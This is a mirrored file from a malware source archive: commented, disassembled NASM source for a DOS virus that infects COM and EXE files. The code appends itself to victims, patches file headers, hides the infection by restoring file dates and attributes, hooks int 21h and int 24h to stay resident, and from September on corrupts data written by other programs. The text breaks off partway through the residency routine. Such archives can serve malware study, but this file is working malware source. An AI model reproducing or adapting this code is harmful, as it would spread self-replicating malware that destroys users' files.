mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
826 lines
30 KiB
NASM
826 lines
30 KiB
NASM
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
org 100h
|
||
|
||
start: mov ax,es ;0100 8C C0
|
||
add word ptr cs:[d_010C+2],ax ;segment relocation ;0102 2E: 01 06 010E
|
||
jmp dword ptr cs:[d_010C] ;jump into virus code ;0107 2E: FF 2E 010C
|
||
|
||
d_010C dw 0000,0138h ;dword=entry into virus ;010C 0000 0138
|
||
|
||
;<- duplicated code (aligning to 20h bytes)
|
||
db 0B8h,008h,000h,08Eh,0C0h,08Bh,00Eh,041h ;0110 B8 08 00 8E C0 8B 0E 41
|
||
db 003h,0BAh,028h,000h,02Eh,08Bh,01Eh,09Bh ;0118 03 BA 28 00 2E 8B 1E 9B
|
||
|
||
;..............................................................
|
||
; victim code
|
||
;..............................................................
|
||
org 1380h
|
||
|
||
|
||
;============================================================================
|
||
; Segment aligned virus segment begin
|
||
;----------------------------------------------------------------------------
|
||
|
||
;================================================================
|
||
; COM virus Entry
|
||
; (this code is present only in case *.COM infection)
|
||
;----------------------------------------------------------------
|
||
l_0000: push ds ;1380 1E
|
||
push cs ;1381 0E
|
||
pop ds ;1382 1F
|
||
lea si,cs:[4F7h] ;d_1877 = saved bytes ;1383 8D 36 04F7
|
||
mov di,100h ;1387.BF 0100
|
||
mov cx,20h ;138A B9 0020
|
||
rep movsb ;restore victim bytes ;138D F3/ A4
|
||
|
||
mov byte ptr cs:[349h],0FFh ;d_16C9 (0FFh = COM) ;138F 2E: C6 06 0349 FF
|
||
nop ;1395 90
|
||
pop ds ;1396 1F
|
||
lea ax,cs:[54Fh] ;l_18CF ;1397 8D 06 054F
|
||
jmp ax ;139B FF E0
|
||
|
||
;<--- duplicated fields d_033F - d_0347
|
||
dw 0020 ;139D 20 00
|
||
dw 05EAh ;139F EA 05
|
||
dw 0Bh ;13A1 0B 00
|
||
dw 28h ;13A3 28 00
|
||
dw 200h ;13A5 00 02
|
||
db 0 ;13A7 00
|
||
|
||
;===========================================================================
|
||
; Begin of file type independent virus code
|
||
;---------------------------------------------------------------------------
|
||
|
||
;================================================================
|
||
; Get/Set victim attribute
|
||
;----------------------------------------------------------------
|
||
s_13A8 proc near
|
||
mov dx,offset ds:[57Fh] ;file name ;13A8.BA 057F
|
||
mov ah,43h ;get/set file attrb ;13AB B4 43
|
||
int 21h ;13AD CD 21
|
||
retn ;13AF C3
|
||
s_13A8 endp
|
||
|
||
;================================================================
|
||
; Move file ptr to EOF
|
||
;----------------------------------------------------------------
|
||
s_13B0 proc near
|
||
xor cx,cx ;13B0 33 C9
|
||
xor dx,dx ;13B2 33 D2
|
||
mov ax,4202h ;move file ptr EOF+offset ;13B4 B8 4202
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;13B7 2E: 8B 1E 009B
|
||
int 21h ;13BC CD 21
|
||
retn ;13BE C3
|
||
s_13B0 endp
|
||
|
||
|
||
;================================================================
|
||
; Read 32 bytes into buffer
|
||
;----------------------------------------------------------------
|
||
s_13BF proc near
|
||
mov cx,20h ;13BF B9 0020
|
||
mov dx,4F7h ;l_1877-sav victim bytes;13C2.BA 04F7
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;13C5 2E: 8B 1E 009B
|
||
mov ah,3Fh ;read file ;13CA B4 3F
|
||
int 21h ;13CC CD 21
|
||
mov cx,ax ;bytes read ;13CE 8B C8
|
||
retn ;13D0 C3
|
||
s_13BF endp
|
||
|
||
;================================================================
|
||
; Write 32 B into file
|
||
;----------------------------------------------------------------
|
||
s_13D1 proc near
|
||
mov ax,8 ;switch off destruction ;13D1 B8 0008
|
||
mov es,ax ;13D4 8E C0
|
||
mov cx,20h ;13D6 B9 0020
|
||
mov dx,offset ds:[4F7h] ;l_1877 - saved bytes ;13D9.BA 04F7
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;13DC 2E: 8B 1E 009B
|
||
mov ah,40h ;write file cx=bytes ;13E1 B4 40
|
||
int 21h ;13E3 CD 21
|
||
mov cx,ax ;13E5 8B C8
|
||
retn ;13E7 C3
|
||
s_13D1 endp
|
||
|
||
;================================================================
|
||
; Calculate virus length
|
||
;----------------------------------------------------------------
|
||
s_13E8 proc near
|
||
mov ax,612h ;virus code length ;13E8 B8 0612
|
||
mov dx,28h ;file type depended code;13EB BA 0028
|
||
sub ax,dx ;13EE 2B C2
|
||
mov ds:[341h],ax ;l_16C1 const vcode len ;13F0 A3 0341
|
||
retn ;13F3 C3
|
||
s_13E8 endp
|
||
|
||
;================================================================
|
||
; Get/Set file daye & time
|
||
;----------------------------------------------------------------
|
||
s_13F4 proc near
|
||
mov bx,ds:[9Bh] ;l_141B = file handle ;13F4 8B 1E 009B
|
||
mov ah,57h ;get/set file date & time ;13F8 B4 57
|
||
int 21h ;13FA CD 21
|
||
retn ;13FC C3
|
||
s_13F4 endp
|
||
|
||
;================================================================
|
||
; Contamine File - master routine
|
||
;----------------------------------------------------------------
|
||
s_13FD proc near
|
||
mov byte ptr ds:[349h],0 ;d_16C9 (000h = EXE) ;13FD C6 06 0349 00
|
||
nop ;1402 90
|
||
mov al,0 ;1403 B0 00
|
||
call s_13A8 ;Get victim attribute ;1405 E8 FFA0
|
||
jc l_146A ;-> EXIT ;1408 72 60
|
||
mov ds:[33Fh],cx ;l_16BF oryg. file attr ;140A 89 0E 033F
|
||
mov cx,20h ;140E B9 0020
|
||
mov al,1 ;1411 B0 01
|
||
call s_13A8 ;Set victim attribute ;1413 E8 FF92
|
||
jc l_146A ;-> EXIT ;1416 72 52
|
||
jmp short l_1421 ;1418 EB 07
|
||
nop ;141A 90
|
||
|
||
d_009B dw 0005h ;file handle ;141B 05 00
|
||
d_009D dw 0400h ;141D 00 04
|
||
d_009F dw 057Fh ;filepath address ;141F 7F 05
|
||
|
||
l_1421: mov word ptr cs:[9Fh],057Fh ;l_141F := offset l_18FF;1421 2E C7 06 9F 00 7F 05
|
||
mov dx,ds:[9Fh] ;l_141F - file name ;1428 8B 16 009F
|
||
mov ax,400h ;142C B8 0400
|
||
mov ds:[9Dh],ax ;l_141D ;142F A3 009D
|
||
mov al,2 ;1432 B0 02
|
||
mov ah,3Dh ;open file, al=mode ;1434 B4 3D
|
||
int 21h ;1436 CD 21
|
||
mov word ptr ds:[9Bh],0FFFFh ;l_141B = file handle ;1438 C7 06 009B FFFF
|
||
jc l_1443 ;143E 72 03
|
||
mov ds:[9Bh],ax ;l_141B = file handle ;1440 A3 009B
|
||
l_1443: mov ax,ds:[9Bh] ;l_141B = file handle ;1443 A1 009B
|
||
cmp ax,0FFFFh ;1446 3D FFFF
|
||
je l_146A ;-> EXIT, open file err ;1449 74 1F
|
||
mov al,0 ;144B B0 00
|
||
call s_13F4 ;Get file daye & time ;144D E8 FFA4
|
||
jc l_148F ;-> err, close & exit ;1450 72 3D
|
||
mov ds:[0E8h],dx ;l_1468 = date ;1452 89 16 00E8
|
||
mov ds:[0EDh],cx ;l_146D = time ;1456 89 0E 00ED
|
||
call s_13BF ;Read 32 B into buffer ;145A E8 FF62
|
||
mov ax,word ptr ds:[4F7h] ;l_1877 first file word ;145D A1 04F7
|
||
cmp ax,5A4Dh ;'MZ' ? ;1460 3D 5A4D
|
||
je l_146F ;-> yes, EXE ;1463 74 0A
|
||
jmp l_1616 ;-> no, COM ;1465 E9 01AE
|
||
|
||
d_00E8 dw 0EF8h ;victim date ;1468 F8 0E
|
||
|
||
l_146A: jmp l_15C6 ;146A E9 0159
|
||
|
||
d_00ED dw 0001h ;victim time ;146D 01 00
|
||
|
||
;================================================================
|
||
; EXE file contamination
|
||
;----------------------------------------------------------------
|
||
l_146F: mov ax,word ptr ds:[509h] ;+12h = negative sum ;146F A1 0509
|
||
neg ax ;1472 F7 D8
|
||
cmp ax,word ptr ds:[4F9h] ;+2 = last page bytes ;1474 3B 06 04F9
|
||
je l_148F ;-> allready infected ;1478 74 15
|
||
mov ax,word ptr ds:[4FBh] ;+4 = pages in file ;147A A1 04FB
|
||
cmp ax,3 ;147D 3D 0003
|
||
jb l_148F ;-> file to small ;1480 72 0D
|
||
mov ax,word ptr ds:[4FFh] ;+8 = size of hdr (para);1482 A1 04FF
|
||
mov cl,4 ;1485 B1 04
|
||
shl ax,cl ;1487 D3 E0
|
||
mov ds:[347h],ax ;l_16C7 = size of header;1489 A3 0347
|
||
jmp short l_1492 ;148C EB 04
|
||
nop ;148E 90
|
||
|
||
l_148F: jmp l_15A8 ;148F E9 0116
|
||
|
||
l_1492: mov ax,word ptr ds:[50Bh] ;+14h = IP ;1492 A1 050B
|
||
mov word ptr ds:[5B4h],ax ;l_1934 ;1495 A3 05B4
|
||
mov word ptr ds:[50Bh],28h ;new IP value (l_13A8) ;1498 C7 06 050B 0028
|
||
call s_13B0 ;Move file ptr to EOF ;149E E8 FF0F
|
||
push ax ;14A1 50
|
||
push dx ;14A2 52
|
||
sub ax,ds:[347h] ;l_16C7=size of header ;14A3 2B 06 0347
|
||
sbb dx,0 ;14A7 83 DA 00
|
||
mov word ptr ds:[439h],ax ;l_17B9 ;14AA A3 0439
|
||
mov word ptr ds:[437h],dx ;l_17B7 ;14AD 89 16 0437
|
||
cmp dx,0 ;14B1 83 FA 00
|
||
ja l_14D3 ;-> more then 64KB ;14B4 77 1D
|
||
cmp ax,word ptr ds:[50Bh] ;+14h = IP ;14B6 3B 06 050B
|
||
ja l_14D3 ;-> more then 28h length;14BA 77 17
|
||
|
||
;<- EXE code length =< 28h
|
||
mov word ptr ds:[345h],0 ;l_16C5 ;14BC C7 06 0345 0000
|
||
mov bx,word ptr ds:[50Bh] ;14C2 8B 1E 050B
|
||
sub bx,ax ;28h - file length ;14C6 2B D8
|
||
mov ds:[343h],bx ;l_16C3 - aligning bytes;14C8 89 1E 0343
|
||
mov ds:[513h],bx ;+1Ch = ? ;14CC 89 1E 0513
|
||
jmp short l_1511 ;14D0 EB 3F
|
||
nop ;14D2 90
|
||
|
||
l_14D3: sub ax,word ptr ds:[50Bh] ;+14h = IP=28h ;14D3 2B 06 050B
|
||
sbb dx,0 ;14D7 83 DA 00
|
||
mov ds:[345h],ax ;d_16C5 ;14DA A3 0345
|
||
and ax,0Fh ;14DD 25 000F
|
||
cmp ax,0 ;14E0 3D 0000
|
||
jne l_14F9 ;-> need aligment ;14E3 75 14
|
||
|
||
mov word ptr ds:[343h],0 ;d_16C3 - aligning bytes;14E5 C7 06 0343 0000
|
||
mov ax,ds:[345h] ;d_16C5 ;14EB A1 0345
|
||
mov cx,10h ;14EE B9 0010
|
||
div cx ;14F1 F7 F1
|
||
mov ds:[345h],ax ;d_16C5 - segment of vir;14F3 A3 0345
|
||
jmp short l_1511 ;14F6 EB 19
|
||
db 90h ;14F8 90
|
||
|
||
;<---- need alignment
|
||
l_14F9: mov word ptr ds:[343h],10h ;d_16C3 - aligning bytes;14F9 C7 06 0343 0010
|
||
sub ds:[343h],ax ;d_16C3 - aligning bytes;14FF 29 06 0343
|
||
mov ax,ds:[345h] ;d_16C5 ;1503 A1 0345
|
||
mov cx,10h ;1506 B9 0010
|
||
div cx ;1509 F7 F1
|
||
add ax,1 ;+ alignment paragraph ;150B 05 0001
|
||
mov ds:[345h],ax ;d_16C5 - segment of vir;150E A3 0345
|
||
|
||
l_1511: mov ax,word ptr ds:[50Dh] ;+ 16h = CS ;1511 A1 050D
|
||
mov word ptr ds:[5B6h],ax ;d_1936 - victim CS ;1514 A3 05B6
|
||
mov ax,ds:[345h] ;d_16C5 ;1517 A1 0345
|
||
mov word ptr ds:[50Dh],ax ;+ 16h = CS ;151A A3 050D
|
||
push ax ;151D 50
|
||
mov ax,word ptr ds:[505h] ;+ 0Eh = SS ;151E A1 0505
|
||
mov word ptr ds:[5A1h],ax ;d_1921 - victim SS ;1521 A3 05A1
|
||
pop ax ;1524 58
|
||
mov word ptr ds:[505h],ax ;+ 0Eh = virus SS ;1525 A3 0505
|
||
mov ax,word ptr ds:[507h] ;+ 10h = SP ;1528 A1 0507
|
||
mov word ptr ds:[5A3h],ax ;d_1923 victim SP ;152B A3 05A3
|
||
lea ax,cs:[612h] ;End of virus ;152E 8D 06 0612
|
||
add ax,1Eh ;virus stack ;1532 05 001E
|
||
add ax,ds:[343h] ;d_16C3 - aligning bytes;1535 03 06 0343
|
||
mov word ptr ds:[507h],ax ;virus SP ;1539 A3 0507
|
||
call s_13E8 ;Calculate virus length ;153C E8 FEA9
|
||
pop dx ;<- victim EOF ;153F 5A
|
||
pop ax ;1540 58
|
||
add ax,ds:[341h] ;l_16C1 const vcode len ;1541 03 06 0341
|
||
adc dx,0 ;1545 83 D2 00
|
||
add ax,ds:[343h] ;d_16C3 - aligning bytes;1548 03 06 0343
|
||
adc dx,0 ;154C 83 D2 00
|
||
mov cx,200h ;page length ;154F B9 0200
|
||
div cx ;1552 F7 F1
|
||
cmp dx,0 ;1554 83 FA 00
|
||
je l_155A ;1557 74 01
|
||
inc ax ;1559 40
|
||
l_155A: mov word ptr ds:[4FBh],ax ;+4 - file len in pages ;155A A3 04FB
|
||
mov word ptr ds:[4F9h],dx ;+2 - last page length ;155D 89 16 04F9
|
||
neg dx ;1561 F7 DA
|
||
mov word ptr ds:[509h],dx ;+12h = negative sum ;1563 89 16 0509
|
||
mov cx,54Fh ;offset l_18CF-EXE entry;1567 B9 054F
|
||
mov word ptr ds:[50Bh],cx ;+14h - virus IP ;156A 89 0E 050B
|
||
cmp word ptr ds:[343h],3 ;d_16C3 - aligning bytes;156E 83 3E 0343 03
|
||
jb l_1580 ;1573 72 0B
|
||
|
||
;<- file begins with jump
|
||
mov cx,28h ;1575 B9 0028
|
||
sub cx,ds:[343h] ;d_16C3 - aligning bytes;1578 2B 0E 0343
|
||
mov word ptr ds:[50Bh],cx ;157C 89 0E 050B
|
||
|
||
l_1580: call s_15DF ;Set file pointer to BOF;1580 E8 005C
|
||
call s_13D1 ;Write 32 B into file ;1583 E8 FE4B
|
||
jc l_15A8 ;-> error, EXIT ;1586 72 20
|
||
mov cx,ds:[343h] ;d_16C3 - aligning bytes;1588 8B 0E 0343
|
||
sub cx,3 ;jmp instruction length ;158C 83 E9 03
|
||
mov ax,54Fh ;offset l_18CF=EXE entry;158F B8 054F
|
||
mov bx,28h ;beginning of code ;1592 BB 0028
|
||
sub ax,bx ;jmp distance ;1595 2B C3
|
||
add cx,ax ;aligning bytes ;1597 03 C8
|
||
mov word ptr ds:[54Ch],cx ;l_18CC = jump distance ;1599 89 0E 054C
|
||
call s_13B0 ;Move file ptr to EOF ;159D E8 FE10
|
||
call s_15C7 ;Align EOF to paragraphs;15A0 E8 0024
|
||
jc l_15A8 ;-> error, EXIT ;15A3 72 03
|
||
call s_15FE ;Write const part of vir;15A5 E8 0056
|
||
|
||
;================================================================
|
||
; End of contamination (common to EXE & COM)
|
||
;----------------------------------------------------------------
|
||
l_15A8: mov al,1 ;to set ;15A8 B0 01
|
||
mov dx,ds:ds:[0E8h] ;d_1468 victim date ;15AA 8B 16 00E8
|
||
mov cx,ds:ds:[0EDh] ;d_146D victim time ;15AE 8B 0E 00ED
|
||
call s_13F4 ;Set file daye & time ;15B2 E8 FE3F
|
||
|
||
mov bx,ds:[9Bh] ;l_141B = file handle ;15B5 8B 1E 009B
|
||
mov ah,3Eh ;close file ;15B9 B4 3E
|
||
int 21h ;15BB CD 21
|
||
|
||
mov al,1 ;to set ;15BD B0 01
|
||
mov cx,ds:[33Fh] ;l_16BF oryg. file attr ;15BF 8B 0E 033F
|
||
call s_13A8 ;Set victim attribute ;15C3 E8 FDE2
|
||
|
||
l_15C6: retn ;15C6 C3
|
||
|
||
;================================================================
|
||
; Align end of file to paragraphs
|
||
;----------------------------------------------------------------
|
||
s_15C7: mov ax,8 ;to switch off virus ;15C7 B8 0008
|
||
mov es,ax ;15CA 8E C0
|
||
mov cx,ds:[343h] ;l_16C3 - aligning bytes;15CC 8B 0E 0343
|
||
mov dx,54Bh ;offset d_18CB ;15D0.BA 054B
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;15D3 2E: 8B 1E 009B
|
||
mov ah,40h ;write file ;15D8 B4 40
|
||
int 21h ;15DA CD 21
|
||
mov cx,ax ;15DC 8B C8
|
||
retn ;15DE C3
|
||
|
||
;================================================================
|
||
; Set file pointer to BOF
|
||
;----------------------------------------------------------------
|
||
s_15DF: xor cx,cx ;15DF 33 C9
|
||
xor dx,dx ;15E1 33 D2
|
||
mov ax,4200h ;move file ptr, cx,dx=offset ;15E3 B8 4200
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;15E6 2E: 8B 1E 009B
|
||
int 21h ;15EB CD 21
|
||
retn ;15ED C3
|
||
|
||
;================================================================
|
||
; COM virus start code pattern
|
||
;----------------------------------------------------------------
|
||
d_026E: mov ax,es ;15EE 8C C0
|
||
add word ptr cs:[010Ch+2],ax ;15F0 2E: 01 06 010E
|
||
jmp dword ptr cs:[010Ch] ;15F5 2E: FF 2E 010C
|
||
d_027A dw 0 ;15FA 00 00
|
||
d_027C dw 0138h ;15FC 38 01
|
||
|
||
;================================================================
|
||
; Write constant part of virus
|
||
;----------------------------------------------------------------
|
||
s_15FE: mov ax,8 ;switch off virus ;15FE B8 0008
|
||
mov es,ax ;1601 8E C0
|
||
mov cx,ds:[341h] ;l_16C1 const.code leng.;1603 8B 0E 0341
|
||
mov dx,28h ;offset l_13A8 - vircode;1607.BA 0028
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;160A 2E: 8B 1E 009B
|
||
mov ah,40h ;write file ;160F B4 40
|
||
int 21h ;1611 CD 21
|
||
mov cx,ax ;1613 8B C8
|
||
retn ;1615 C3
|
||
|
||
;================================================================
|
||
; COM victim contamination
|
||
;----------------------------------------------------------------
|
||
l_1616: cmp word ptr ds:[4F9h],12Eh ;BOF+2 ;1616 81 3E 04F9 012E
|
||
je l_15A8 ;-> contamined, EXIT ;161C 74 8A
|
||
call s_13B0 ;Move file ptr to EOF ;161E E8 FD8F
|
||
cmp ax,3E8h ;1000 byte file length ;1621 3D 03E8
|
||
jb l_169F ;-> bellow, EXIT ;1624 72 79
|
||
add ax,100h ;add PSP ;1626 05 0100
|
||
adc dx,0 ;1629 83 D2 00
|
||
push ax ;162C 50
|
||
and ax,0Fh ;162D 25 000F
|
||
mov word ptr ds:[343h],0 ;l_16C3 aligning bytes ;1630 C7 06 0343 0000
|
||
cmp ax,0 ;1636 3D 0000
|
||
je l_1645 ;-> para aligned file ;1639 74 0A
|
||
mov word ptr ds:[343h],10h ;l_16C3 - aligning bytes;163B C7 06 0343 0010
|
||
sub ds:[343h],ax ;l_16C3 - aligning bytes;1641 29 06 0343
|
||
l_1645: pop ax ;1645 58
|
||
add ax,ds:[343h] ;l_16C3 aligning bytes ;1646 03 06 0343
|
||
adc dx,0 ;164A 83 D2 00
|
||
cmp dx,0 ;164D 83 FA 00
|
||
ja l_169F ;-> file to big, EXIT ;1650 77 4D
|
||
mov cl,4 ;1652 B1 04
|
||
shr ax,cl ;bytes 2 paragraphs ;1654 D3 E8
|
||
cmp word ptr ds:[343h],0 ;l_16C3 - aligning bytes;1656 83 3E 0343 00
|
||
mov ds:[27Ch],ax ;l_15FC virus segment ;165B A3 027C
|
||
mov word ptr ds:[27Ah],0 ;l_15FA virus entry ;165E C7 06 027A 0000
|
||
call s_15DF ;Set file pointer to BOF;1664 E8 FF78
|
||
mov ax,8 ;to switch off virus ;1667 B8 0008
|
||
mov es,ax ;166A 8E C0
|
||
mov cx,20h ;bytes to write ;166C B9 0020
|
||
mov dx,26Eh ;offset l_15EE ;166F.BA 026E
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;1672 2E: 8B 1E 009B
|
||
mov ah,40h ;write file ;1677 B4 40
|
||
int 21h ;1679 CD 21
|
||
mov cx,ax ;bytes written ;167B 8B C8
|
||
call s_13B0 ;Move file ptr to EOF ;167D E8 FD30
|
||
call s_15C7 ;write aligning bytes ;1680 E8 FF44
|
||
|
||
mov ax,8 ;switch off virus ;1683 B8 0008
|
||
mov es,ax ;1686 8E C0
|
||
mov cx,28h ;40 bytes ;1688 B9 0028
|
||
mov dx,322h ;offset l_16A2 ;168B .BA 0322
|
||
mov bx,cs:[9Bh] ;l_141B = file handle ;168E 2E: 8B 1E 009B
|
||
mov ah,40h ;write file ;1693 B4 40
|
||
int 21h ;1695 CD 21
|
||
mov cx,ax ;bytes written ;1697 8B C8
|
||
call s_13E8 ;Calculate virus length ;1699 E8 FD4C
|
||
call s_15FE ;Write const part of vir;169C E8 FF5F
|
||
l_169F: jmp l_15A8 ;close files, EXIT ;169F E9 FF06
|
||
s_13FD endp
|
||
|
||
;<-- COM type virus begin pattern
|
||
d_0322: push ds ;16A2 1E
|
||
push cs ;16A3 0E
|
||
pop ds ;16A4 1F
|
||
lea si,cs:[4F7h] ;16A5 8D 36 04F7
|
||
mov di,0100h ;16A9.BF 0100
|
||
mov cx,20h ;16AC B9 0020
|
||
rep movsb ;16AF F3/ A4
|
||
mov byte ptr cs:[349h],0FFh ;d_16C9 (0FFh = COM) ;16B1 2E: C6 06 0349 FF
|
||
nop ;16B7 90
|
||
pop ds ;16B8 1F
|
||
lea ax,cs:[54Fh] ;16B9 8D 06 054F
|
||
jmp ax ;16BD FF E0
|
||
|
||
;------ work area
|
||
d_033F dw 0020h ;oryg. file attr ;16BF 20 00
|
||
d_0341 dw 05EAh ;const virus code length;16C1 EA 05
|
||
d_0343 dw 0Bh ;aligning bytes ;16C3 0B 00
|
||
d_0345 dw 28h ;16C5 28 00
|
||
d_0347 dw 200h ;size of header ;16C7 00 02
|
||
d_0349 db 0 ;0=EXE, 0FFh=COM ;16C9 00
|
||
|
||
;================================================================
|
||
; init registers
|
||
;----------------------------------------------------------------
|
||
s_16CA proc near
|
||
xor si,si ;16CA 33 F6
|
||
xor di,di ;16CC 33 FF
|
||
xor ax,ax ;16CE 33 C0
|
||
xor dx,dx ;16D0 33 D2
|
||
xor bp,bp ;16D2 33 ED
|
||
retn ;16D4 C3
|
||
s_16CA endp
|
||
|
||
;================================================================
|
||
; int 24h handling routine (infection time active only)
|
||
;----------------------------------------------------------------
|
||
l_16D5: cmp di,0 ;16D5 83 FF 00
|
||
jne l_16DD ;16D8 75 03
|
||
mov al,3 ;ignore ;16DA B0 03
|
||
iret ;16DC CF
|
||
|
||
l_16DD: jmp dword ptr cs:[362h] ;L_16E2 = old int 24h ;16DD 2E: FF 2E 0362
|
||
|
||
d_0362 dw 0556h,0DF0h ;16E2 56 05 F0 0D
|
||
|
||
;================================================================
|
||
; Get int 24h
|
||
;----------------------------------------------------------------
|
||
s_16E6 proc near
|
||
cli ; Disable interrupts ;16E6 FA
|
||
xor bx,bx ;16E7 33 DB
|
||
mov es,bx ;16E9 8E C3
|
||
mov bx,es:[90h] ;int 24h offset ;16EB 26: 8B 1E 0090
|
||
mov word ptr cs:[362h],bx ;l_16E2 ;16F0 2E: 89 1E 0362
|
||
mov bx,es:[92h] ;int 24h segment ;16F5 26: 8B 1E 0092
|
||
mov word ptr cs:[362h+2],bx ;L_16E2+2 ;16FA 2E: 89 1E 0364
|
||
mov word ptr es:[90h],355h ;offset l_16D5 ;16FF 26: C7 06 0090 0355
|
||
mov es:[92h],ax ;int 24h segment := CS ;1706 26: A3 0092
|
||
sti ;170A FB
|
||
retn ;170B C3
|
||
s_16E6 endp
|
||
|
||
|
||
;================================================================
|
||
; Restore int 24h vector
|
||
;----------------------------------------------------------------
|
||
s_170C proc near
|
||
cli ;170C FA
|
||
xor bx,bx ;170D 33 DB
|
||
mov es,bx ;170F 8E C3
|
||
mov bx,word ptr cs:[362h] ;1711 2E: 8B 1E 0362
|
||
mov es:[90h],bx ;1716 26: 89 1E 0090
|
||
mov bx,word ptr cs:[362h+2] ;171B 2E: 8B 1E 0364
|
||
mov es:[92h],bx ;1720 26: 89 1E 0092
|
||
sti ;1725 FB
|
||
retn ;1726 C3
|
||
s_170C endp
|
||
|
||
;===============================================================
|
||
; write handle service routine (destruction routine)
|
||
;---------------------------------------------------------------
|
||
s_1727 proc near
|
||
push ax ;1727 50
|
||
push bx ;1728 53
|
||
push cx ;1729 51
|
||
push dx ;172A 52
|
||
push es ;172B 06
|
||
push ds ;172C 1E
|
||
push si ;172D 56
|
||
push di ;172E 57
|
||
mov ax,es ;172F 8C C0
|
||
cmp ax,8 ;1731 3D 0008
|
||
je l_1750 ;-> virus contamination ;1734 74 1A
|
||
cmp bx,4 ;1736 83 FB 04
|
||
jb l_1750 ;-> BIOS ;1739 72 15
|
||
mov ah,2Ah ;get date, cx=year, dx=mon/day ;173B B4 2A
|
||
int 21h ;173D CD 21
|
||
cmp dh,9 ;september ? ;173F 80 FE 09
|
||
jb l_1750 ;-> bellow ;1742 72 0C
|
||
pop di ;1744 5F
|
||
pop si ;1745 5E
|
||
pop ds ;1746 1F
|
||
pop es ;1747 07
|
||
pop dx ;1748 5A
|
||
pop cx ;1749 59
|
||
pop bx ;174A 5B
|
||
pop ax ;174B 58
|
||
add dx,0Ah ;shift buffer address ;174C 83 C2 0A
|
||
retn ;174F C3
|
||
|
||
l_1750: pop di ;1750 5F
|
||
pop si ;1751 5E
|
||
pop ds ;1752 1F
|
||
pop es ;1753 07
|
||
pop dx ;1754 5A
|
||
pop cx ;1755 59
|
||
pop bx ;1756 5B
|
||
pop ax ;1757 58
|
||
retn ;1758 C3
|
||
s_1727 endp
|
||
|
||
db 16 dup (0) ;not used ;1759 0010[00]
|
||
|
||
;================================================================
|
||
; Load & Execute service routine
|
||
;----------------------------------------------------------------
|
||
s_1769 proc near
|
||
push ax ;1769 50
|
||
push bx ;176A 53
|
||
push cx ;176B 51
|
||
push dx ;176C 52
|
||
push es ;176D 06
|
||
push ds ;176E 1E
|
||
push si ;176F 56
|
||
push di ;1770 57
|
||
mov si,dx ;file pathname ;1771 8B F2
|
||
mov ax,cs ;1773 8C C8
|
||
mov es,ax ;1775 8E C0
|
||
mov di,offset ds:[57Fh] ;l_18FF - victim name ;1777.BF 057F
|
||
mov cx,19h ;177A B9 0019
|
||
rep movsb ;copy victim name ;177D F3/ A4
|
||
call s_16E6 ;Get int 24h vector ;177F E8 FF64
|
||
mov ds,ax ;ds:=cs ;1782 8E D8
|
||
call s_13FD ;1784 E8 FC76
|
||
call s_170C ;Restore int 24h vector ;1787 E8 FF82
|
||
pop di ;178A 5F
|
||
pop si ;178B 5E
|
||
pop ds ;178C 1F
|
||
pop es ;178D 07
|
||
pop dx ;178E 5A
|
||
pop cx ;178F 59
|
||
pop bx ;1790 5B
|
||
pop ax ;1791 58
|
||
retn ;1792 C3
|
||
s_1769 endp
|
||
|
||
;================================================================
|
||
; New int 21h service routine
|
||
;----------------------------------------------------------------
|
||
;<---- 10 bytes to identify resident virus
|
||
d_0413: pushf ;1793 9C
|
||
cmp ah,40h ;write handle ? ;1794 80 FC 40
|
||
jne l_179F ;-> no ;1797 75 06
|
||
call s_1727 ;write handle service routine ;1799 E8 FF8B
|
||
jmp short l_17A7 ;179C EB 09
|
||
nop ;179E 90
|
||
|
||
l_179F: cmp ah,4Bh ;Load & Execute ? ;179F 80 FC 4B
|
||
jne l_17A7 ;-> no ;17A2 75 03
|
||
call s_1769 ;Load & Execute service routine ;17A4 E8 FFC2
|
||
l_17A7: popf ;17A7 9D
|
||
|
||
;================================================================
|
||
; Execute substituted code and jump into old int 21h service
|
||
;----------------------------------------------------------------
|
||
;<- four bytes from int 21h service
|
||
d_0428: cmp ah,51h ;17A8 80 FC 51
|
||
d_042B: je l_17B2 ;17AB 74 05
|
||
jmp dword ptr cs:[547h] ;17AD 2E: FF 2E 0547
|
||
l_17B2: jmp dword ptr cs:[49Dh] ;17B2 2E: FF 2E 049D
|
||
|
||
d_0437 dw 0000h,02A0h ;dword = code length ;17B7 00 00 A0 02
|
||
|
||
;================================================================
|
||
; Make virus resident
|
||
;----------------------------------------------------------------
|
||
s_17BB proc near
|
||
cli ;disable interrupts ;17BB FA
|
||
push es ;17BC 06
|
||
lea si,cs:[413h] ;l_1793 ;17BD 8D 36 0413
|
||
mov di,si ;17C1 8B FE
|
||
mov cx,9800h ;resident virus segment ;17C3 B9 9800
|
||
mov es,cx ;17C6 8E C1
|
||
mov cx,0Ah ;17C8 B9 000A
|
||
repe cmpsb ;17CB F3/ A6
|
||
cmp cx,0 ;17CD 83 F9 00
|
||
pop es ;17D0 07
|
||
jz l_181A ;-> allready resident ;17D1 74 47
|
||
mov bx,es:[84h] ;int 21h - offset ;17D3 26: 8B 1E 0084
|
||
mov ax,es:[86h] ;int 21h - segment ;17D8 26: A1 0086
|
||
mov word ptr ds:[549h],ax ;l_18C9 ;17DC A3 0549
|
||
mov word ptr ds:[49Fh],ax ;l_181F ;17DF A3 049F
|
||
mov di,bx ;17E2 8B FB
|
||
mov es,ax ;17E4 8E C0
|
||
mov cx,80h ;17E6 B9 0080
|
||
mov al,80h ;17E9 B0 80
|
||
l_17EB: repne scasb ;find byte 80h ;17EB F2/ AE
|
||
cmp cx,0 ;17ED 83 F9 00
|
||
je l_1870 ;-> not found, EXIT ;17F0 74 7E
|
||
cmp byte ptr es:[di],0FCh ;17F2 26: 80 3D FC
|
||
jne l_17EB ;-> find another place ;17F6 75 F3
|
||
|
||
;<- get four bytes from int 21h service
|
||
mov al,es:[di+2] ;17F8 26: 8A 45 02
|
||
mov byte ptr cs:[42Bh],al ;l_17AB ;17FC 2E: A2 042B
|
||
mov al,es:[di-1] ;1800 26: 8A 45 FF
|
||
mov byte ptr cs:[428h],al ;l_17A8 ;1804 2E: A2 0428
|
||
mov al,es:[di] ;1808 26: 8A 05
|
||
